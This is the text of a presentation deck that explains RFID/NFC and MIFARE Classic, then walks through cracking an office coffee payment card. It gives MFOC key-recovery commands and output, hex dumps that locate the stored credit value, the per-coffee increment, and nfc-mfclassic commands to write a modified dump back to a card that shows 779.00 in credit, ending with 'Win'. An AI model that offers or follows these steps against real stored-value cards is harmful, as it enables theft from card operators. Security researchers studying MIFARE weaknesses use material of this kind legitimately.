


Getting Free Coffee, or essential survival skills for office space



Disclaimer

The following presentation does not represent the thoughts, intentions, plans or strategies of my current, past or future employers.
All of the thoughts expressed are solely my personal opinion.

Provided information is for educational purposes only.



About me

- DIY enthusiast (soldering as a skill 15+ years)
- OpenBSD and Debian user
- All things security
- Russian



WHAT'S THE DIFFERENCE BETWEEN

...

RADIO
FREQUENCY
IDENTIFICATION

NEAR
FIELD
COMMUNICATION

RFID

&
NFC?

3 PARTS OF A TYPICAL RFID SYSTEM:



- Operate at the same frequency (13.56 MHz) as HF RFID readers and tags
- May act as both a reader and a tag
- Devices must be in close proximity due to the short read range limitations of its radio frequency (usually no more than a few centimeters)

RFID FREQUENCY RANGES:

Low Frequency (LF): 125–134 kHz High Frequency (HF): 13.56 MHz Ultra High Frequency (UHF): 856 MHz to 960 MHz



RFID CAN BE EITHER...



INFORMATION SHARING
Transferring info between smartphones by tapping two devices together

CONTACTLESS PAYMENT
Credit cards, debit cards, key fobs and other devices use NFC to make secure payments

"There are 150 million NFC devices now. By 2014, there will be **300 MILLION.**"

Reed Peterson, Head of Business & Market Development for the GSMA



BIG GAME
SMART POSTERS
Using an NFC-enabled smartphone, viewers can access exclusive content

POPULAR USES:


- Asset Tracking
- Race Timing
- Inventory Management
- Tool Tracking
- Access Control
- Attendee Tracking



NINE OF THE TOP TEN
HANDSET MAKERS HAVE NFC-ENABLED DEVICES AND BOTH
ANDROID & WINDOWS PHONES SUPPORT THE TECHNOLOGY

How it started 1/3:

- Ebay happened:
 - PN532 module
 - Read/Write HF RFID
 - SPI, UART, I2C interface option
 - Cost ~10 euros




How it started 2/3:

- Got new Android phone
- NFC TagInfo by NXP




- Scan every card possible



How it started 3/3:



Introducing MIFARE Classic:



MIFARE Classic 1K memory structure

		Byte Number within a Block																Description	
Sector	Block	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15		
15	3	Key A					Access Bits			GPB	Key B								Sector Trailer 15
	2																	Data	
	1																	Data	
	0																	Data	
14	3	Key A					Access Bits			GPB	Key B								Sector Trailer 14
	2																	Data	
	1																	Data	
	0																	Data	
:	:																		
:	:																		
:	:																		
1	3	Key A					Access Bits			GPB	Key B								Sector Trailer 1
	2																	Data	
	1																	Data	
	0																	Data	
0	3	Key A					Access Bits			GPB	Key B								Sector Trailer 0
	2																	Data	
	1																	Data	
	0																	Manufacturer Block	

MIFARE Classic vulnerabilities

One of the protection elements of the MIFARE Classic card has been the confidentiality of its cryptographic algorithm.

If the algorithm were to be known, it can be exploited in an attack with the respective expertise. Researchers of the Radboud University have used knowledge of the algorithm to develop attacks to retrieve the keys and the data that is stored on the MIFARE Classic card. As attack software is now publicly accessible on the internet, we expect that attack equipment will become available soon in order to facilitate a variety of attacks on MIFARE Classic infrastructures.

These attacks would allow that:

- Through overhearing successful communications between the reader of an existing infrastructure and a valid card, the data and/or the keys involved in that transaction could be read
- While overhearing failed communications between the reader of an existing infrastructure and any card, the key used by the reader during that transaction could be retrieved
- These attacks could be carried out in minutes or less and with means involving a laptop and equipment which can be built with limited material cost (100 Euros)
- Card only attacks are possible in lab environments and at considerable precalculation time. This is expected to further evolve into an attack that does not need lab conditions and may require less precalculation time.*
- In one particular "card only" attack, all keys and data can be retrieved within seconds using a laptop and some low value equipments. In this attack, the attacker needs to have a certain knowledge about the card.*

MFOC

MFOC is an open source implementation of "offline nested" attack by Nethemba.

This program allow to recover authentication keys from MIFARE Classic card.

MFOC

- Included in Kali distro
- Depends on libnfc (*install from source*)
- MFOC- Installation from source
- Usage:
 - `# mfoc [-k key] [-P number of probes per sector] [-O output file]`
- Write dumps with ***nfc-mfclassic*** from *libnfc* library.
- **Don't use VM!**

```
ISO/IEC 14443A (106 kbps) target:  
  ATQA (SENS_RES): 00 04  
* UID size: single  
* bit frame anticollision supported  
  UID (NFCID1): 7e 7a e1 b8  
  SAK (SEL_RES): 08  
* Not compliant with ISO/IEC 14443-4  
* Not compliant with ISO/IEC 18092
```

Fingerprinting based on MIFARE type Identification Procedure:

- * MIFARE Classic 1K
- * MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
- * SmartMX with MIFARE 1K emulation

Other possible matches based on ATQA & SAK values:

Try to authenticate to all sectors with default keys...


Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found

```
[Key: ffffffffffffff] -> [.....]  
[Key: a0a1a2a3a4a5] -> [//////////]  
[Key: d3f7d3f7d3f7] -> [//////////]  
[Key: 000000000000] -> [//////////]  
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxx///]  
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxx///]  
[Key: 1a982c7e459a] -> [xxxxxxxxxxxx///]  
[Key: aabbccddeeff] -> [xxxxxxxxxxxx///]  
[Key: 714c5c886e97] -> [xxxxxxxxxxxx///]  
[Key: 587ee5f9350f] -> [xxxxxxxxxxxx///]  
[Key: a0478cc39091] -> [xxxxxxxxxxxx///]  
[Key: 533cb6c723f6] -> [xxxxxxxxxxxx///]  
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxx///]
```

Sector 00 - FOUND_KEY [A]	Sector 00 - FOUND_KEY [B]
Sector 01 - FOUND_KEY [A]	Sector 01 - FOUND_KEY [B]
Sector 02 - FOUND_KEY [A]	Sector 02 - FOUND_KEY [B]
Sector 03 - FOUND_KEY [A]	Sector 03 - FOUND_KEY [B]
Sector 04 - FOUND_KEY [A]	Sector 04 - FOUND_KEY [B]
Sector 05 - FOUND_KEY [A]	Sector 05 - FOUND_KEY [B]
Sector 06 - FOUND_KEY [A]	Sector 06 - FOUND_KEY [B]
Sector 07 - FOUND_KEY [A]	Sector 07 - FOUND_KEY [B]
Sector 08 - FOUND_KEY [A]	Sector 08 - FOUND_KEY [B]
Sector 09 - FOUND_KEY [A]	Sector 09 - FOUND_KEY [B]
Sector 10 - FOUND_KEY [A]	Sector 10 - FOUND_KEY [B]
Sector 11 - FOUND_KEY [A]	Sector 11 - FOUND_KEY [B]
Sector 12 - FOUND_KEY [A]	Sector 12 - UNKNOWN_KEY [B]
Sector 13 - FOUND_KEY [A]	Sector 13 - UNKNOWN_KEY [B]
Sector 14 - FOUND_KEY [A]	Sector 14 - UNKNOWN_KEY [B]

Commands:

- Collect card keys:
 - *sudo ./mfoc -P 500 -O keys.mfd*
- Write to card (magic card*):
 - *sudo ./nfc-mfclassic W A path/to/dump.mfd path/to/keys.mfd f*
- Write to card (regular card):
 - *sudo ./nfc-mfclassic w A path/to/dump.mfd path/to/keys.mfd f*



10.00

[1D1/ 1000]


1D1	00 00
1F0	a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00xw.i.
20F	00 00
22E	00 00 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00xw.i.
24D	00 00
26C	00 00 00 00 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00xw.i.
28B	00 00
2AA	00 00 00 00 00 00 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00xw.i.
2C9	00 00
2E8	00 00 00 00 00 00 00 00 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 08 01 00 84 00 04 48	xw.i..H
307	1a 00 00 02 00 01 08 3b 6a 01 01 ee ee ee ee ee ee 00 02 58 01 00 01 00 01 00 00 00 00 00 00 01	;j...X
326	00 00 dd dd dd dd dd dd dd a0 a1 a2 a3 a4 a5 1e 11 ee 5a 7f ff 5e 25 63 e3 dd dd dd dd dd dd	Z..^%c.
345	dd	
364	dd a0 a1 a2 a3 a4 a5 0f 00 ff b7 a3 b7 1a 78 8f d9 dd dd dd	x..
383	dd	
3A2	dd a0 a1 a2 a3 a4 a5 0f 00 ff e5 b5 9b 92 a1 68 6c dd	hl..
3C1	dd	
3E0	03 00 b1 21 1f 51 ee 00 00 00 00 4d 49 43 00 a0 a1 a2 a3 a4 a5 4b 44 bb 5a 65 5d e8 a6 0b ..!Q..MIC..KD.Ze]..	
3FF	cc 00 ..	
41E	00 ..	
43D	00 ..	

[1D1/ 1000]

1D1	00 00
1F0	a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00xw.i.
20F	00 00
22E	00 00 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00xw.i.
24D	00 00
26C	00 00 00 00 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00xw.i.
28B	00 00
2AA	00 00 00 00 00 00 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 00 00 00 00 00 00xw.i.
2C9	00 00
2E8	00 00 00 00 00 00 00 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 08 01 00 84 00 04 48	xw.i..H
307	1a 00 00 02 00 01 08 3b 6a 01 01 ee ee ee ee ee ee 00 01 f4 01 00 01 00 01 00 00 00 00 00 01	;j...
326	00 00 dd dd dd dd dd dd dd a0 a1 a2 a3 a4 a5 1e 11 ee 5a 7f ff 5e 25 63 e3 dd dd dd dd dd dd	Z..^%c.
345	dd	
364	dd dd dd dd dd dd dd dd dd a0 a1 a2 a3 a4 a5 0f 00 ff b7 a3 b7 1a 78 8f d9 dd dd dd	x..
383	dd	
3A2	dd a0 a1 a2 a3 a4 a5 0f 00 ff e5 b5 9b 92 a1 68 6c dd	hl..
3C1	dd	
3E0	03 00 b1 21 1f 51 ee 00 00 00 00 4d 49 43 00 a0 a1 a2 a3 a4 a5 4b 44 bb 5a 65 5d e8 a6 0b ..!Q..MIC..KD.Ze]..	
3FF	cc 00 ..	
41E	00 ..	
43D	00 ..	

Digging deeper

- Only one value difference for 1 coffee credit:
 - 6 coffees: *0x02 0x58 (Dec: 600)*
 - 5 coffees: *0x01 0xf4 (Dec: 500)*
 - Difference: *0x64 (Dec: 100)*
- Multiply the constant with desired credit amount.
- Modify existing card dump with corresponding value.
- Write to card.
- Win



779.00





Thank you!